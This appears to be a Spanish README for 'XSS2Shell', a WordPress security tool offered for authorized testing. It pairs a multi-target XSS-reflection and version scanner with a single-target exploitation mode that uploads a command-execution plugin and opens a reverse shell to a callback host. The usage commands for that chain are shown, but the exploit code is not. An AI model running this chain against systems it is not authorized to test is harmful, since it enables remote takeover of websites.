
Escáner autorizado de XSS a RCE para WordPress con reflexión XSS concurrente en múltiples objetivos y detección de huella digital de versión, además de un flujo de explotación opcional.
Desarrollador: YogaGymn
Utilidad de PoC/escaneo para pruebas de seguridad autorizadas en WordPress. El proyecto contiene un flujo de trabajo de explotación de un solo objetivo y un modo solo escaneo multiobjetivo concurrente.
Importante: Utiliza este proyecto únicamente en instalaciones de WordPress que sean de tu propiedad o para las que tengas autorización explícita de probar. El escáner multiobjetivo está intencionalmente limitado a la identificación de huellas y a la detección de reflexión de XSS; no realiza captura de credenciales, carga de plugins ni RCE contra una lista de objetivos.
El script original admite:
auto, xss y direct.El escáner añadido admite:
ThreadPoolExecutor.El modo multiobjetivo no llama a las funciones RCE originales.
requestsInstala la dependencia:
python3 -m pip install requests
Si tu distribución de Linux utiliza un entorno de Python gestionado externamente, usa un entorno virtual:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clona o copia el proyecto:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
O simplemente coloca:
xss2shell.py
en tu directorio de trabajo.
Crea un archivo llamado targets.txt:
https://example1.test
https://example2.test
https://example3.test
Los comentarios y las líneas vacías se ignoran:
# Authorized lab targets
https://example1.test
https://example2.test
Ejecuta el escáner:
python3 xss2shell.py -i targets.txt
La concurrencia predeterminada es de 10 workers.
Por ejemplo, usar 20 workers:
python3 xss2shell.py -i targets.txt --workers 20
Para un laboratorio pequeño:
python3 xss2shell.py -i targets.txt --workers 5
No elija un número de workers innecesariamente alto porque puede aumentar la carga de conexiones y puede activar la limitación de velocidad o los controles defensivos.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
El archivo predeterminado scan_results.txt utiliza campos separados por tabulaciones:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Ejemplo:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Estado Significado
XSS_REFLECTION_DETECTED El escáner detectó el comportamiento
de reflexión HTML probado. Esto no
constituye por sí mismo una prueba de
RCE.
XSS_NOT_DETECTED No se detectó la reflexión probada.
ERROR La comprobación encontró una
excepción.El escáner puede reportar detalles como:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDEstos valores describen la respuesta observada por la rutina de detección; deben validarse manualmente antes de tratar un resultado como una vulnerabilidad confirmada.
El script original también admite argumentos para un solo objetivo.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Los flujos de trabajo XSS/directos pueden crear o activar un plugin que contenga funcionalidad de ejecución de comandos. Úsalos solo dentro de un entorno de prueba autorizado.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argumento Descripción
target URL de destino única.
-i, --input Archivo que contiene múltiples destinos.
--output Archivo de salida para resultados de
múltiples destinos. Predeterminado:
scan_results.txt.
--workers Número de workers concurrentes.
Predeterminado: 10.
--mode Modo original de destino único:
auto, xss o direct.
-u, --username Nombre de usuario de WordPress para el
flujo de trabajo original
direct/fallback.
-p, --password Contraseña de WordPress para el flujo
de trabajo original direct/fallback.
--lhost Host de callback/reverse-shell para el
PoC original.
--lport Puerto del reverse-shell. Predeterminado:
4444.
--slug Slug del plugin. Predeterminado: xss2shell.
--callback-port Puerto del servidor de callback. Predeterminado:
9090.